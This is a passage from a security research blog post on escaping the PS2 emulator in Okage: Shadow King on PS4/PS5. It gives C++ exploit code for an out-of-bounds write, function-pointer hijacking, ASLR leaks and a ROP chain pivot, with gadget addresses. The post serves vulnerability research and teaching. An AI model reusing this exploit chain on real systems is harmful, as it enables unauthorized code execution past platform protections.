Introduction
In the previous post, we developed a traditional stack buffer overflow exploit in the Okage: Shadow King game which resulted in us being able to execute arbitrary code from within a PlayStation 2 ELF that was embedded inside the exploitable game save file. In this post, we will specifically target a vulnerability within the PlayStation emulator to gain userland ROP (return-oriented programming) code execution on the PlayStation 4 and PlayStation 5.
The research and development discussed within this post was heavily influenced from the research conducted by CTurtE in the blog “mast1c0re: Hacking the PS4 / PS5 through the PS2 Emulator – Part 1 – Escape“. I would strongly recommend you read that blog post in conjunction with this post to improve your understanding of the mast1c0re vulnerability.
Executing a game save on the PlayStation 4 and PlayStation 5
The previous posts within this blog post series specifically focused on developing the initial entry point vulnerability for the PCSX2 PlayStation 2 emulator. However, the vulnerability exists within the Okage: Shadow King game itself and therefore can also be triggered on both the PlayStation 4 and PlayStation 5.
The memory card file within PCSX2 is named Mcd001.ps2
, where as the memory card file within a PlayStation 4 game save file is named VCM0.card
. Although they differ in name and file extension, they both contain the same content type of “Sony PS2 Memory Card Format 1.2.0.0”. This means that we can still use mymc or mymcplus to extract the BASCUS-97129.psu
file, and then use pypsu to extract the bkmo0.dat
file.
└─$ mymcplus -i VMC0.card export BASCUS-97129
Exporing BASCUS-97129 to BASCUS-97129.psu
└─$ psu export BASCUS-97129.psu bkmo0.dat
[+] bkmo0.dat exported to bkmo0.dat
└─$ ls -al
total 8608
drwxr-xr-x 2 user user 4096 Dec 22 15:33 .
drwxr-xr-x 7 user user 4096 Dec 22 15:33 ..
-rw-r--r-- 1 user user 148992 Dec 22 15:33 BASCUS-97129.psu
-rw-r--r-- 1 user user 3460 Dec 22 15:33 bkmo0.dat
-rw-r--r-- 1 user user 8650752 Dec 22 15:33 VMC0.card
PlayStation 4
To import the VMC0.card
file on your PlayStation 4, you require a low firmware version capable of running Apollo PS4 and an FTP server. Additionally, you require an Okage: Shadow King game save which can be created by playing the game as discussed under the heading “Obtaining a game save file” in “mast1c0re: Part 1 – Modifying PS2 game save files“.
Once you have a game save file on your PlayStation 4, open Apollo PS4, choose “HDD Saves”, select “OKAGE: Shadow King – SCUS-97129”, then select “Export decrypted save files” and finally click “VCM0.card”. This will save the existing memory card file to /data/apollo/<user-id>/CUSA02282_SCUS-97129/
.VCM0.card
Next, using an FTP client, overwrite the existing VCM0.card
with the custom built VCM0.card
. Then in Apollo PS4, select “Import decrypted save files”, and finally click “VCM0.card” to import the custom VCM0.card
file into the PlayStation 4 save.
Okage: Shadow King can now be loaded and the exploit will execute on the PlayStation 4.
If you are wanting to sign and encrypt a PlayStation 4 game save using a PlayStation Network account, you must follow the steps in Apollo PS4 (offline-account-activation) to do an offline account activation. This should be done if you wish to use the game save on another console such as a PlayStation 4 on the latest firmware. You can find your PlayStation Network account id by copying a save file from your PlayStation 4 on the account linked to PlayStation Network to a USB, and then viewing the created folder name which should be a 16 character hex value that looks like “343ab456d7ef8901
“. The Console PSID and Console IDPS are not required for this operation.
PlayStation 5
Follow the steps under the PlayStation 4 heading to sign and encrypt a game save file. You must follow the Apollo PS4 (offline-account-activation) steps in order for the save to be accepted on the PlayStation 5. Once the save has been encrypted and signed on the PlayStation 4, copy it to a USB using the system menu (Settings -> Application Saved Data Management -> Saved Data in System Storage -> Copy to USB Storage Device -> OKAGE: Shadow King -> Copy). Plug your USB into your PlayStation 5, then import the save file on to your PlayStation 5 (Settings -> Saved Data and Game/App Settings -> Saved Data (PS4) -> USB Drive -> OKAGE: Shadow King -> Copy).
Debugging on the PlayStation 4
My understanding of the PlayStation emulator is that it translates 64-bit MIPS instructions into x86-64 instructions on an ad hoc basis using a Just-in-time (JIT) compiler. This means that we cannot expect our translated x86-64 instructions to be in the same location in memory each time we execute the game.
The easiest way I found to debug the PlayStation 2 MIPS code on the PlayStation 4 was by writing a value to a specific address in PlayStation 2 memory, and then setting a hardware write breakpoint on that address in the PlayStation 4 memory space.
For this example, I am using a client-server PlayStation 4 debugger I built in 2018 called MEMAPI, which can be found at memapi-debugger. The server binary which is executed through a webkit exploit can be found at memapi-server. Alternatively, it should be possible to follow a similar procedure using ps4debug.
In this example, I am writing the value 0x30
to the address 0xe10000
first, executing some functionality, then writing the value 0x31
to the address 0xe10000
.
int a = 0; *(uint8_t*)(0xe10000) = 0x30; a++; *(uint8_t*)(0xe10000) = 0x31; a = 0;
First we connect the debugger to the PlayStation 4 and attach to the eboot.bin
process. Next, we set a hardware write breakpoint on the address 0x8000e10000
which is the PlayStation 4 memory address of the PlayStation 2 memory address.
Once hitting the “RESTORE GAME” option in Okage: Shadow King, the hardware breakpoint should trigger once the PlayStation 2 code writes to the 0xe10000
memory address.
Arbitrary gadget execution
We begin by extracting the eboot.bin
binary from Okage: Shadow King version 1.01 on the low firmware PlayStation 4 via FTP and then loading it in Ghidra 9.0.1 using the GhidraPS4Loader plugin. Make sure the base image address is set to 003fc000
in Window -> Memory Map -> <House Icon>
so that addresses match those mentioned in this post.
N/S status buffer overflow
As mentioned in CTurtE‘s blog post, there are multiple fixed memory addresses which when read from or wrote to, trigger hardware functionality to occur. This hardware logic is handled by subroutines within the embedded PlayStation emulator inside the eboot.bin
binary.
For example, when writing to the fixed memory address 0x1f402017
(SCMD_STATUS
), the emulator appends the given byte value to an array. A global variable I named gSStatusIndex
(0x08978a0
) keeps track of the current index in the array gSStatusBuffer
(0x0897820
).
The code within
which handles the eboot.bin
SCMD_STATUS
(0x1f402017
) command can be seen in the function _handleIOPCDVDDrive
(0x00479200
) as shown below:
void _handleIOPCDVDDrive(uint32_t address, byte b) { ... if (address == SCMD_STATUS/*0x1f402017*/) { gSStatusBuffer[gSStatusIndex] = b; gSStatusIndex++; } ... }
The gSStatusBuffer
(0x0897820
) array has a size of 16 bytes and there is no bounds checking on the gSStatusIndex
(0x08978a0
) value, therefore by triggering the command more than 16 bytes we can write arbitrary bytes beyond the gSStatusBuffer
(0x0897820
) array.
The following sStatusBufferOverflow
function fills the gSStatusBuffer
(0x0897820
) array with 16 (0x10
) null bytes, then proceeds to overflow the buffer with the given overflow
data of length size
.
#define SCMD_SEND 0x1f402017 void PS::Breakout::sStatusBufferOverflow(uint8_t* overflow, uint32_t size) { PS::Breakout::resetSStatusIndex(); // Fill the buffer for (int i = 0; i < 0x10; i++) *(uint8_t*)SCMD_SEND = 0; // Write out-of-bounds for (uint32_t i = 0; i < size; i++) *(uint8_t*)SCMD_SEND = overflow[i]; }
As you may have noticed from the previous function, the gSStatusIndex
(0x08978a0
) is reset to zero before overflowing the buffer. This is done by sending an invalid command argument to SCMD_COMMAND
(0x1f402016
) which sets the gSStatusIndex
(0x08978a0
) value to zero in the _handleIOPCDVDDrive
(0x00479200
) function. We need to wait for the command to finish processing by checking the SCMD_STATUS
(0x1f402017
) value and waiting until the CMD_STATUS_BUSY
(0x80
) flag is false. Additionally, we need to flush the SCMD_COMMAND
(0x1f402016
) result by reading the data buffer from SCMD_RECV
(0x1f402018
). A similar set of operations is done to reset the gNStatusIndex
(0x0897890
) in PS::Breakout::resetNStatusIndex
as shown below.
#define BREAKOUT_BUSY_TIMEOUT 100000 // CDVD Command #define NCMD_COMMAND 0x1f402004 #define NCMD_STATUS 0x1f402005 #define SCMD_COMMAND 0x1f402016 #define SCMD_STATUS 0x1f402017 #define SCMD_RECV 0x1f402018 #define CMD_STATUS_EMPTY 0x40 /* Data is unavailable */ #define CMD_STATUS_BUSY 0x80 /* Command is processing */ void PS::Breakout::resetSStatusIndex() { // Submit invalid command *(uint8_t*)SCMD_COMMAND = 0; // Wait for busy flag to be cleared int i = 0; while ((*(uint8_t*)SCMD_STATUS) & CMD_STATUS_BUSY) { i++; if (i > BREAKOUT_BUSY_TIMEOUT) break; } // Flush S command result uint8_t recv; i = 0; while (!((*(uint8_t*)SCMD_STATUS) & CMD_STATUS_EMPTY)) { recv = *(uint8_t*)SCMD_RECV; i++; if (i > BREAKOUT_BUSY_TIMEOUT) break; } } void PS::Breakout::resetNStatusIndex() { // Submit invalid command *(uint8_t*)NCMD_COMMAND = 0; // Wait for busy flag to be cleared int i = 0; while ((*(uint8_t*)NCMD_STATUS) & CMD_STATUS_BUSY) { i++; if (i > BREAKOUT_BUSY_TIMEOUT) break; } }
Relative write-what-where
We are now able to overflow the gSStatusBuffer
(0x0897820
) and corrupt global values directly beyond the buffer. After 0x60 bytes of other global variables, we can overwrite the gNStatusIndex
(0x0897890
) variable to any unsigned 32-bit integer as shown in the following memory dump:
Therefore, the following setOOBindex
function can be used to set the gNStatusIndex
(0x0897890
) value using the buffer overflow vulnerability.
void PS::Breakout::setOOBindex(uint32_t index) { PS::Breakout::resetNStatusIndex(); uint8_t overflow[0x60 + sizeof(index)] = {}; // Overwrite N status index overflow[0x60 + 0] = index >> 0; overflow[0x60 + 1] = index >> 8; overflow[0x60 + 2] = index >> 16; overflow[0x60 + 3] = index >> 24; PS::Breakout::sStatusBufferOverflow(overflow, sizeof(overflow)); }
By setting the gNStatusIndex
(0x0897890
) to an arbitrary positive number we can write any byte outside of the PS2 emulator memory between the eboot.bin
address and gNStatusBuffer
(0x0897810
)gNStatusBuffer
(0x0897810
) + UINT32_MAX
(0xFFFFFFFF
).
This can be seen in the function _handleIOPCDVDDrive
(0x00479200
) when the memory address is NCMD_STATUS
(0x1f402005
), as the given byte b
is wrote to gNStatusBuffer
(0x0897810
) at an offset of our controllable index gNStatusIndex
(0x0897890
).
void _handleIOPCDVDDrive(uint32_t address, byte b) { ... if (address == NCMD_STATUS/*0x1f402005*/) { gNStatusBuffer[gNStatusIndex] = b; gNStatusIndex++; } ... }
The function PS::Breakout::writeOOB
can then be used to write a single byte outside of the emulator in the PlayStation 4 or PlayStation 5 memory space, by setting the gNStatusIndex
(0x0897890
) value to the relative offset between gNStatusBuffer
(0x0897810
) and the target address using the gSStatusBuffer
(0x0897820
) overflow, then triggering the write with NCMD_SEND
(0x1f402005
). Additionally, we can add helper writeOOB
functions for writing different integer types (uint8_t
, uint16_t
, uint32_t
, uint64_t
).
#define NCMD_SEND 0x1f402005 #define N_STATUS_BUFFER 0x0897810 // gNStatusBuffer uint32_t PS::Breakout::writeOOB(uint32_t address, uint8_t value) { PS::Breakout::setOOBindex(address - N_STATUS_BUFFER); *(uint8_t*)NCMD_SEND = value; return 1; } uint32_t PS::Breakout::writeOOB(uint32_t address, uint16_t value) { PS::Breakout::writeOOB(address + 0, (uint8_t)(value >> 0)); PS::Breakout::writeOOB(address + 1, (uint8_t)(value >> 8)); return 2; } uint32_t PS::Breakout::writeOOB(uint32_t address, uint32_t value) { PS::Breakout::writeOOB(address + 0, (uint8_t)(value >> 0)); PS::Breakout::writeOOB(address + 1, (uint8_t)(value >> 8)); PS::Breakout::writeOOB(address + 2, (uint8_t)(value >> 16)); PS::Breakout::writeOOB(address + 3, (uint8_t)(value >> 24)); return 4; } uint32_t PS::Breakout::writeOOB(uint32_t address, uint64_t value) { PS::Breakout::writeOOB(address + 0, (uint32_t)value); PS::Breakout::writeOOB(address + 4, (uint32_t)(value >> 32)); return 8; }
Arbitrary execute gadget and read EAX
We are now able to write N
bytes of data after the
address in PlayStation 4 or PlayStation 5 memory. The PlayStation 2 memory address gNStatusBuffer
(0x0897810
)0x10000000
is for input/output registers and executes a function pointer located in the global variable gIORegisterReadHandlers
(0x60e7880
). As this global variable is defined beyond the
, we can overwrite the function pointer with any address we desire to execute native instructions on the PlayStation 4 or PlayStation 5. The function pointer is triggered by performing a read on the memory address gNStatusBuffer
(0x0897810
)0x10000000
, which returns the resulting value of the EAX
register to our PlayStation 2 code. Currently however, we do not know the address of any instructions due to the usage of address space layout randomization (ASLR). A resolution to overcome this protection is discussed further on in this post.
#define IO_REGISTER_READ_HANDLERS 0x060e7880 uint32_t PS::Breakout::callGadgetAndGetResult( uint32_t gadget, uint32_t gadgetSize ) { volatile uint32_t* io = (volatile uint32_t*)(void*)0x10000000; // Corrupt the function pointer PS::Breakout::writeOOB(IO_REGISTER_READ_HANDLERS, gadget); // Call the corrupted function pointer return *io; }
Arbitrary execute gadget and write ESI
As well as a read input/output register, there is also a write input/output register when writing to the address 0x1F801000
in the PlayStation 2. Again, this executes a function pointer named gIORegisterWriteHandlers
(0x0ae7d98
) which is located in the global data section beyond the
address. We can change this function pointer to any address we desire, and writing a 32-bit integer to the address gNStatusBuffer
(0x0897810
)0x1F801000
will trigger the function pointer to execute, whilst setting our input value into the ESI
register.
#define INTERRUPT_WRITE_HANDLERS 0x00ae7d98 void PS::Breakout::callGadgetWithArgument(uint32_t gadget, uint32_t esi) { // Corrupt jump target PS::Breakout::writeOOB(INTERRUPT_WRITE_HANDLERS, gadget); // Set ESI and execute gadget volatile uint32_t *interruptRegisters = (volatile uint32_t*)(void*)0x1F801000; *interruptRegisters = esi; }
ROP gadgets with rp++
The PlayStation 4 and PlayStation 5 environment has non-executable (NX) memory regions enabled, which means we can only execute code in memory regions which are marked as executable. This restricts us to executing code within the .text
section of the eboot.bin
, which is marked as read-only on the PlayStation 4. Therefore, we cannot jump to the stack and execute the code directly as we did in mast1c0re: Part 2 – Arbitrary PS2 code execution.
We can overcome this protection by using a technique known as return-orientated programming (ROP) which involves jumping to instructions which are followed by an instruction which continues execution from a value popped off the stack. For example, the instructions “pop rax; ret;
” will pop the next eight bytes on the stack into the RAX
register, and then pop the following eight bytes on the stack into the RIP
(instruction pointer) register. This is known as a ROP gadget. As we will be able to control the data on the stack, we can chain these ROP gadgets together. For example the two gadgets “pop rax; ret;
” and “pop rbx; ret;
“, which together are called a ROP chain. As x86-64 instructions are different in their machine code byte lengths, instructions can be unintentionally found at a different offset to the intended x86-64 instruction, which allows us to find instruction chains which would not normally occur within an application.
The tool rp++ by 0vercl0k can be used to automatically identify instruction chains that result in an instruction that allows us to continue controlling the flow of execution by a pointer on the stack.
The following command can be used to generate a list of ROP gadgets that exist in the eboot.bin
file. We need to specify that the .text
address starts at 0x3FC000
which is 0x400000
minus the .text
offset within the ELF file of 0x1000
.
rp-win.exe -f eboot.bin --va 0x3FC000 --raw x64 --rop 5 > eboot-rop-5.txt
The following output is a small snippet of the generated ROP gadgets:
0x4f1f0b: pop rax ; ret ; (1 found) 0x40c164: pop rbx ; ret ; (1 found) 0x493773: pop rcx ; ret ; (1 found) 0x401429: pop rdi ; ret ; (1 found) 0x44756e: pop rsi ; ret ; (1 found) 0x49a2ea: pop rsp ; ret ; (1 found) 0x40008f: pop rbp ; ret ; (1 found) 0x72bb0c: pop rbp ; pop r14 ; pop r15 ; pop rbp ; ret ; (1 found) 0x428901: add [edi], ecx ; ret ; (1 found) 0x4c5463: add [rax+0x63], ecx ; ret ; (1 found)
ASLR Bypass
Address space layout randomization (ASLR) is a binary protection which changes the base address of a process and it’s libraries (configuration dependent) each time the application is executed. This means that the addresses are not fixed in a single location and cannot be hard-coded into an exploit, like they were with the mast1c0re: Part 2 – Arbitrary PS2 code execution vulnerability, as ASLR was not present in that scenario. Although the base address is randomly generated each time the binary (or game in this instance) is executed, the lower bits of the address are consistently the same as the ASLR slide is page-aligned. This means that as the memory page size is 0x4000
for the PlayStation 4, the randomly generated addresses will always end in the same last three hex values as the least significant 14-bits are consistent.
EBOOT address leak
We are now able to execute and either read a value from EAX, or write a value to ESI by overwriting the gIORegisterReadHandlers
(0x60e7880
) or the gIORegisterWriteHandlers
(0x0ae7d98
) as previously discussed. However, due to ASLR we do not know the base address of the eboot.bin
, and therefore we need to determine that before we can execute ROP gadgets.
The original input/output register read handler pointer points to the function FUN_005a9d60
. This function contains a RET
instruction (0x005a9d91
) close to the function start address at as shown:
************************************************************** * FUNCTION * ************************************************************** undefined FUN_005a9d60() undefined AL:1 <RETURN> FUN_005a9d60 XREF[2]: FUN_004547d0:004550fc(*), FUN_004547d0:00455110(*) 005a9d60 81 c7 00 ADD EDI,0xf0000000 00 00 f0 005a9d66 4c 8d 05 LEA R8,[0x60f8af0] 83 ed b4 05 005a9d6d 89 f8 MOV EAX,EDI 005a9d6f c1 e8 0b SHR EAX,0xb 005a9d72 48 6b f0 38 IMUL RSI,RAX,0x38 005a9d76 89 f8 MOV EAX,EDI 005a9d78 25 f0 00 AND EAX,0xf0 00 00 005a9d7d c1 e8 04 SHR EAX,0x4 005a9d80 81 e7 f0 AND EDI,0xf0 00 00 00 005a9d86 49 8d 0c 30 LEA RCX,[R8 + RSI*0x1] 005a9d8a 74 06 JZ LAB_005a9d92 005a9d8c 8b 0c 81 MOV ECX,dword ptr [RCX + RAX*0x4] 005a9d8f 89 c8 MOV EAX,ECX 005a9d91 c3 RET
As the least-significant byte is always the same even though ASLR is enabled, we know the function pointer will end with the byte 0x60
. The upper address values “005a9
” however will not be consistent and will change each time the game is booted. We can overwrite the least-significant byte of the function pointer from 0x60
to 0x91
, which would change the function pointer to directly execute only the RET instruction. Additionally, we can write to this byte with ASLR enabled as the relative offset between the function pointer, the gIORegisterReadHandlers
(0x60e7880
) and the gNStatusIndex
(0x0897890
) remains the same regardless of the eboot.bin
base address as they are in the same memory mapping, and the write what where primitive is a relative write.
By doing this, we can execute only the RET
instruction and retrieve the value of the EAX
register, which contains the address of the gIORegisterReadHandlers
(0x60e7880
) global variable. Calculating the difference of the ASLR gIORegisterReadHandlers
address with the address of gIORegisterReadHandlers
when ASLR is disabled (0x60e7880
) gives us the ASLR slide value. Using this, we can calculate the real address of every address in the eboot.bin
by adding the required address with no ASLR to the ASLR slide value.
The following code leaks the eboot.bin
difference using the method described, and adds a helper defintiion EBOOT
which calculates the ASLR adjusted eboot.bin
address.
#define IO_REGISTER_READ_HANDLERS 0x060e7880 // gIORegisterReadHandlers #define BREAKOUT_PARTIAL_POINTER_OVERWRITE_RET 0x91 #define EBOOT(address) PS::Breakout::eboot(address) #define GADGET(address) EBOOT(address) uint32_t PS::Breakout::callGadgetAndGetResult( uint32_t gadget, uint32_t gadgetSize ) { // Addresses are different if ASLR is enabled, however the // offset is static regardless volatile uint32_t* io = (volatile uint32_t*)(void*)0x10000000; // Corrupt the function pointer if (gadgetSize == 4) PS::Breakout::writeOOB(IO_REGISTER_READ_HANDLERS, gadget); // Overwrite just the least significant byte, for before // we've defeated ASLR else if (gadgetSize == 1) PS::Breakout::writeOOB(IO_REGISTER_READ_HANDLERS, (uint8_t)gadget); // Call the corrupted function pointer return *io; } uint32_t PS::Breakout::leakEboot() { // Corrupt the least significant byte of the first IO register // read handler from 0x60 to 0x91 to point to `ret` // Originally points to XXXXXX60 (eg 0x005A9D60), overwrite // points to XXXXXX91 (eg 0x005A9D91). // This will return the IO register read handler address as it // was stored in EAX (eg: 0x060E7880) uint32_t ioFunctionPointerAddress = PS::Breakout::callGadgetAndGetResult( BREAKOUT_PARTIAL_POINTER_OVERWRITE_RET, 1 ); // ASLR EBOOT slide. If ASLR is disabled ebootDiff = 0 PS::Breakout::ebootDiff = ioFunctionPointerAddress - IO_REGISTER_READ_HANDLERS; return PS::Breakout::ebootDiff; } static inline uint32_t eboot(uint32_t address) { return address + PS::Breakout::ebootDiff; }
Stack address leak
We have leaked the eboot.bin
base address, however we currently do not know the base stack address as the ASLR slide is different to the eboot.bin
address. The stack address leak is required to restore corrupted registers and continue execution after the exploit has executed.
We can leak the stack address by executing a ROP gadget, which sets the value of the ESP
(stack pointer) into EAX
, and then retrieve it with the input/output read handler. Although there is no direct “mov eax, esp; ret ;
” gadget, we can use the gadget “add eax, esp ; ret ;
” as we know the value of EAX
is gIORegisterReadHandlers
(0x60e7880
+ ebootDiff). We can then minus the value of EAX
from the returned address to retrieve the original value of ESP
. ESP
only holds the least significant 32-bits of the stack pointer address. Fortunately, the most significant 32-bits is always 0x00000007
, therefore we can do a bitwise OR with the stack address and 0x0000000700000000
to obtain the 64-bit stack address as shown in the following code snippet:
#define IO_REGISTER_READ_HANDLERS 0x060e7880 #define BREAKOUT_STACK_DIFF 0xc7aa8 // 0x7EECAFAA8 - 0x7EEBE8000 #define EBOOT(address) PS::Breakout::eboot(address) #define STACK(address) PS::Breakout::stack(address) #define ADD_EAX_ESP_RET 0x4a28d2 // add eax, esp ; ret ; uint64_t PS::Breakout::leakStack() { uint32_t esp_add_eax = PS::Breakout::callGadgetAndGetResult( GADGET(ADD_EAX_ESP_RET), 4 ); uint32_t eax = EBOOT(IO_REGISTER_READ_HANDLERS); uint32_t esp = esp_add_eax - eax; uint32_t stackLeak = esp - BREAKOUT_STACK_DIFF; PS::Breakout::stackAddress = (uint64_t)stackLeak | 0x700000000; return PS::Breakout::stackAddress; } static inline uint64_t stack(uint64_t address) { return address + PS::Breakout::stackAddress; }
LibKernel address leak
The libkernel.sprx
library is a dependency used by eboot.bin
and contains various functions and ROP gadgets that we can take advantage of. Again, this library uses ASLR and therefore we need to leak the base address in order to access functions and gadgets within the library. The eboot.bin
binary contains various stub functions which are filled with a pointer to the function in their respective libraries. One stub function is for the function sceKernelUsleep
(00763b30
) and is shown below:
************************************************************** * FUNCTION * ************************************************************** undefined sceKernelUsleep() undefined AL:1 <RETURN> sceKernelUsleep XREF[49] 00763b30 ff 25 8a JMP qword ptr [sceKernelUsleep] 96 0d 00 00763b36 68 56 00 PUSH 0x56 00 00 00763b3b e9 80 fa JMP FUN_007635c0 undefined FUN_007635c0() ff ff
The pointer which is filled in when the application is executed for this function is located at 0x083d1c0
within the eboot.bin
. By opening the PlayStation 4 firmware version 5.05 libkernel.sprx
in Ghidra, we can determine the sceKernelUsleep
function is located at offset 0x013b20
. Therefore, to calculate the base address of the libkernel.sprx
library, we can dereference the eboot.bin
pointer at 0x083d1c0
, then take away the sceKernelUsleep
function offset of 0x013b20
. It is important to note that this is firmware dependent due to the fixed sceKernelUsleep
function offset.
The following code calculates the base libkernel.sprx
address and adds a LIBKERNEL
definition helper:
#define LIB_KERNEL_SCE_KERNEL_USLEEP 0x013b20 #define EBOOT_SCE_KERNEL_USLEEP_STUB_PTR 0x083d1c0 #define LIBKERNEL(address) PS::Breakout::libKernel(address) // Leak LibKernel address PS::Breakout::libKernelAddress = DEREF(EBOOT(EBOOT_SCE_KERNEL_USLEEP_STUB_PTR)) - LIB_KERNEL_SCE_KERNEL_USLEEP; static inline uint64_t libKernel(uint64_t address) { return address + PS::Breakout::libKernelAddress; }
ROP setup
We now have the ability to execute a single ROP gadget using the read or write input/output interrupt handlers. However, we need to change the value of RSP
(stack pointer) to point to a region of memory we can control from within the PlayStation 2 memory space, to minimize the usage of the read or write input/output interrupt handlers and the out of bounds write vulnerability.
To start off, the following helper functions are defined to allow us to convert memory addresses from the PlayStation 2 emulation address to the PlayStation 4 or PlayStation 5 memory address. Due to the emulation configuration, the PlayStation 2 base address is a fixed address of 0x8000000000
within the PlayStation 4 and PlayStation 5 memory map, even with ASLR enabled.
#define NATIVE(address) PS::Breakout::toNative(address) #define NATIVE_TO_PVAR(address) PS::Breakout::fromNative(address) #define VAR_TO_NATIVE(var) NATIVE((uint32_t)(&var)) #define PVAR_TO_NATIVE(var) NATIVE((uint32_t)(var)) static inline uint64_t toNative(uint32_t address) { return (address == 0 ? 0 : ((uint64_t)address | (uint64_t)0x8000000000)); } static inline uint32_t fromNative(uint64_t address) { return (uint32_t)(address & 0xFFFFFFFF); }
To setup the ROP chain, we need to change the value of RSP
(stack pointer) with a ROP gadget that uses ESI
, as that is the register we can control using the write interrupt handler. Therefore, the first ROP gadget we will use is:
push rsi ; add bh, cl ; call qword [rsi+0x3B] ;
This gadget will push our controllable value on to the stack, add two registers together, then call the address at [rsi + 0x3b]
. The main part of this gadget is pushing our controllable address on the stack, then the call instruction which will call a gadget at an offset of 0x3b
at an address we can write to. This address will be named STAGE_1
and the address chosen is 0x60F0000
in eboot.bin
as it contains a large amount of NULL bytes and the address fits inside the ESI
register (4 bytes). Although it would be desirable to set RSP
directly to PlayStation 2 memory, it is not possible as all PlayStation 2 memory addresses within the PlayStation 4 and PlayStation 5 start at address 0x8000000000
.
The next ROP gadget we will use is:
pop rcx ; fld st0, st5 ; clc ; pop rsp ; ret ;
This will pop the return address from the previous call instruction off the stack into RCX
. It then executes fld
and clc
which can be ignored. Next, it pops the next value off the stack into RSP
(stack pointer), which is our previously pushed STAGE_1
(0x60F0000
) RSI
value. Finally, the ret
instruction pops the next instruction off the top of the stack, which now points to STAGE_1
(0x60F0000
) as that is the value of the RSP
(stack pointer) register.
The next gadget to be executed is wrote to STAGE_1
(0x60F0000
) before triggering the previous ROP chain:
pop rsp ; ret
This gadget allows us to set RSP
(stack pointer) to an arbitrary 8 byte address as we can write to the stack (STAGE_1
) at an offset of 0x08
which follows this instruction.
In memory, the data we write to the STAGE_1
(0x60F0000
) section is shown below:
The following function will trigger the ROP chain located in PlayStation 2 memory at address 0x0e00000
:
// Stage 1 ROP Chain (EBOOT.BIN) #define STAGE_1 0x60F0000 // Stage 2 ROP Chain (PS2 Memory) // Must have large space before and after // Before: PS4/5 Stack during ROP execution // After: ROP Chain #define ROP_CHAIN 0x0e00000 // Gadgets // pop rsp ; ret ; #define POP_RSP_RET 0x49a2ea // pop rcx ; fld st0, st5 ; clc ; pop rsp ; ret ; #define POP_RCX_FLD_ST0_ST5_CLC_POP_RSP_RET 0x49a2e6 // push rsi ; add bh, cl ; call qword [rsi+0x3B] ; #define PUSH_RSI_ADD_BH_CL_CALL_QWORD_OB_RSI_PLUS_0X3B_CB 0x7e677c void PS::Breakout::executeROP() { // Stage 1 // [1]: Push RSI (stage1Address), Call stage1Address+0x3B ([2]) // [2]: Pop RCX (rcx = return address from call), Pop RSP (rsp = stage1Address) // [3]: Pop RSP (rsp = rop_chain_native) PS::Breakout::writeOOB(STAGE_1 + 0x08, PVAR_TO_NATIVE((uint64_t*)ROP_CHAIN), true ); // [3] pop rsp ; ret PS::Breakout::writeOOB(STAGE_1 + 0x00, GADGET(POP_RSP_RET), true ); // [2] pop rcx ; fld st0, st5 ; clc ; pop rsp ; ret ; PS::Breakout::writeOOB(STAGE_1 + 0x3B, GADGET(POP_RCX_FLD_ST0_ST5_CLC_POP_RSP_RET), true ); // [1] push rsi ; add bh, cl ; call qword [rsi+0x3B] ; PS::Breakout::callGadgetWithArgument(GADGET(PUSH_RSI_ADD_BH_CL_CALL_QWORD_OB_RSI_PLUS_0X3B_CB), EBOOT(STAGE_1)) }
The previous function handles writing the data to the STAGE_1
(0x60F0000
) section and executing a single ROP chain command. However, in most cases we will want to execute ROP chains repeatedly from within the PlayStation 2 environment. We can do this by setting up the STAGE_1
(0x60F0000
) memory layout and overwriting the input/output write handler in advance before we need to execute a ROP chain.
We can see this in the following C++ code:
uint32_t PS::Breakout::chainIndex = 0; uint64_t* PS::Breakout::chain = (uint64_t*)ROP_CHAIN; void PS::Breakout::setupGadgetWithArgument(uint32_t gadget) { // Corrupt jump target PS::Breakout::writeOOB(INTERRUPT_WRITE_HANDLERS, gadget, false); } void PS::Breakout::setupROP() { // Stage 1 // [1]: Push RSI (stage1Address), Call stage1Address+0x3B ([2]) // [2]: Pop RCX (rcx = return address from previous call), Pop RSP (rsp = stage1Address) // [3]: Pop RSP (rsp = rop_chain_native) PS::Breakout::writeOOB(STAGE_1 + 0x08, PVAR_TO_NATIVE(PS::Breakout::chain), true ); // [3] pop rsp ; ret PS::Breakout::writeOOB(STAGE_1 + 0x00, GADGET(POP_RSP_RET), true ); // [2] pop rcx ; fld st0, st5 ; clc ; pop rsp ; ret ; PS::Breakout::writeOOB(STAGE_1 + 0x3B, GADGET(POP_RCX_FLD_ST0_ST5_CLC_POP_RSP_RET), true ); // [1] push rsi ; add bh, cl ; call qword [rsi+0x3B] ; PS::Breakout::setupGadgetWithArgument( GADGET(PUSH_RSI_ADD_BH_CL_CALL_QWORD_OB_RSI_PLUS_0X3B_CB) ); } void PS::Breakout::resetChain() { PS::Breakout::chainIndex = 0; } uint32_t PS::Breakout::pushChain(uint64_t value) { PS::Breakout::chain[PS::Breakout::chainIndex++] = value; return PS::Breakout::chainIndex; }
Additionally, the functions resetChain
and pushChain
are helper functions which allow us to easily append addresses or 64-bit values on to the ROP chain.
To execute the ROP chain, we need to trigger the input/output write handler by setting the address of STAGE_1
(0x60F0000
) to the write interrupt register 0x1F801000
. Callee-saved register values that were corrupted during the ROP chain setup are also restored before execution continues back to the PlayStation 4 or PlayStation 5 code. This is where we require the stack address leak as the original RBP
and RSP
register values were stack addresses.
// Gadgets #define POP_RSP_RET 0x49a2ea // pop rsp ; ret ; #define POP_RBX_RET 0x40c164 // pop rbx ; ret ; #define POP_R14_RET 0x4aea72 // pop r14 ; ret ; #define POP_R15_RET 0x401428 // pop r15 ; ret ; #define POP_RBP_RET 0x40008f // pop rbp ; ret ; // Restore Registers #define BREAKOUT_RESTORE_RBX 0x0000001000000090 #define BREAKOUT_RESTORE_R14 0x0000008000000000 #define BREAKOUT_RESTORE_R15 0x0000001030000090 #define BREAKOUT_RESTORE_RBP_OFF 0xc7b10 #define BREAKOUT_RESTORE_RSP_OFF 0xc7ab8 void PS::Breakout::executeChain() { // Append ROP chain callee-saved register restore PS::Breakout::pushChain(GADGET(POP_RBX_RET)); PS::Breakout::pushChain(BREAKOUT_RESTORE_RBX); // R12 // R13 PS::Breakout::pushChain(GADGET(POP_R14_RET)); PS::Breakout::pushChain(BREAKOUT_RESTORE_R14); PS::Breakout::pushChain(GADGET(POP_R15_RET)); PS::Breakout::pushChain(BREAKOUT_RESTORE_R15); PS::Breakout::pushChain(GADGET(POP_RBP_RET)); PS::Breakout::pushChain(STACK(BREAKOUT_RESTORE_RBP_OFF)); PS::Breakout::pushChain(GADGET(POP_RSP_RET)); PS::Breakout::pushChain(STACK(BREAKOUT_RESTORE_RSP_OFF)); // Execute ROP Chain volatile uint32_t *interruptRegisters = (volatile uint32_t*)(void*)0x1F801000; *interruptRegisters = EBOOT(STAGE_1); }
Executing a ROP chain
Combining all of the vulnerabilities and leaks so far, we can create a breakout init
